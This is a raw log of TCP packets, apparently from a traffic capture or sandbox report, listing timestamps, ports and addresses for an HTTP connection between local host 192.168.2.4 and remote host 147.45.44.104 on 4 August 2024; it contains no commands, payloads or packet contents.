Aug 4, 2024 02:21:37.215428114 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.215462923 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.215471983 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.215513945 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.215557098 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.215590000 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.215595961 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.215621948 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.215629101 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.215655088 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.215671062 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.215687037 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.215697050 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.215724945 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.215851068 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.215883017 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.215894938 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.215915918 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.215924025 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.215949059 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.215955019 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.215987921 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.216248035 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.216279030 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.216291904 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.216311932 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.216315031 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.216344118 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.216351032 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.216375113 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.216382027 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.216407061 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.216413021 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.216439009 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.216444969 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.216471910 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.216476917 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.216509104 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.216521025 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.216562033 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.216814041 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.216841936 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.216856003 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.216873884 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.216875076 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.216906071 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.216911077 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.216938019 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.216943026 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.216969013 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.216974974 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.217000961 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.217005968 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.217032909 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.217037916 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.217065096 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.217070103 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.217097044 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.217103958 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.217128992 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.217133999 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.217161894 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.217165947 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.217190027 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.217200041 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.217223883 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.217225075 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.217269897 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.217516899 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.217566013 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.217627048 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.217658043 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.217679977 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.217689037 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.217698097 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.217726946 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.217780113 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.217808008 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.217829943 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.217839956 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.217844963 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.217871904 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.217878103 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.217900038 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.217909098 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.217935085 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.217937946 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.217972040 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.218180895 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.218214035 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.218230009 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.218245983 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.218254089 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.218277931 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.218282938 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.218310118 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.218316078 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.218341112 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.218347073 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.218373060 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.218379021 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.218405962 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.218411922 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.218439102 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.218444109 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.218471050 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.218480110 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.218504906 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.218516111 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.218544960 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.218899965 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.218930960 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.218955994 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.218982935 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.218995094 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.219016075 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.219022036 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.219047070 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.219053984 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.219077110 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.219083071 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.219109058 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.219113111 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.219141960 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.219146013 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.219173908 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.219178915 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.219206095 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.219209909 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.219237089 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.219243050 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.219268084 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.219275951 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.219295979 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.219306946 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.219327927 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.219332933 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.219360113 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.219363928 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.219398022 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.219772100 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.219822884 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.219949961 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.219984055 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.219996929 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.220015049 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.220021009 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.220046997 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.220052958 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.220081091 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.220084906 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.220112085 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.220117092 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.220144033 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.220155001 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.220175982 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.220180035 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.220207930 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.220211029 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.220238924 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.220243931 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.220271111 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.220274925 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.220302105 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.220307112 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.220334053 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.220338106 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.220377922 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.220837116 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.220869064 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.220897913 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.220901966 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.220913887 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.220933914 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.220937967 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.220964909 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.220971107 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.220995903 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.221003056 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.221029043 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.221034050 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.221061945 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.221066952 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.221095085 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.221101046 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.221127033 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.221132994 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.221159935 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.221163034 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.221199989 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.221436024 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.221467018 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.221482992 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.221499920 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.221503019 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.221530914 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.221541882 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.221563101 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.221569061 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.221591949 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.221594095 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.221626043 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.221626997 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.221658945 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.221673965 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.221689939 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.221707106 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.221760988 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.221775055 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.221795082 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.221798897 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.221843958 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.222050905 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.222084045 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.222094059 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.222116947 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.222121000 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.222150087 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.222155094 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.222182035 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.222189903 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.222219944 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.253479958 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.253578901 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.253602982 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.253623009 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.253628016 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.253654003 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.253663063 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.253691912 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.253705978 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.253736973 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.253742933 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.253768921 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.253772974 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.253799915 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.253807068 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.253838062 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.303970098 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.304003000 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.304034948 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.304034948 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.304058075 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.304068089 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.304075956 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.304100037 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.304107904 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.304138899 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.304193020 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.304223061 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.304229021 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.304255962 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.304258108 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.304287910 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.304291964 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.304325104 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.304470062 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.304514885 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.304533005 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.304565907 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.304574013 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.304600000 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.304603100 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.304631948 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.304635048 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.304666996 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.304670095 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.304704905 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.304902077 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.304933071 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.304950953 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.304965019 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.304971933 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.304997921 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.305001974 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.305031061 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.305035114 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.305062056 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.305069923 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.305095911 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.305102110 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.305131912 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.305399895 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.305432081 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.305444956 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.305464029 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.305469036 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.305495024 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.305499077 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.305527925 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.305535078 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.305558920 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.305562019 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.305593014 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.305593967 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.305625916 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.305630922 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.305658102 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.305661917 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.305690050 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.305696011 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.305721998 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.305727959 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.305754900 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.305762053 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.305794954 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.306031942 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.306063890 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.306076050 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.306097031 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.306101084 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.306133986 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.306231976 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.306263924 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.306274891 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.306298018 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.306303978 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.306335926 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.306360960 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.306401014 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.306468010 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.306499958 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.306514978 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.306533098 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.306536913 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.306566000 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.306571007 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.306595087 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.306602001 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.306627035 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.306632042 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.306658983 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.306663036 CEST	49757	80	192.168.2.4	147.45.44.104
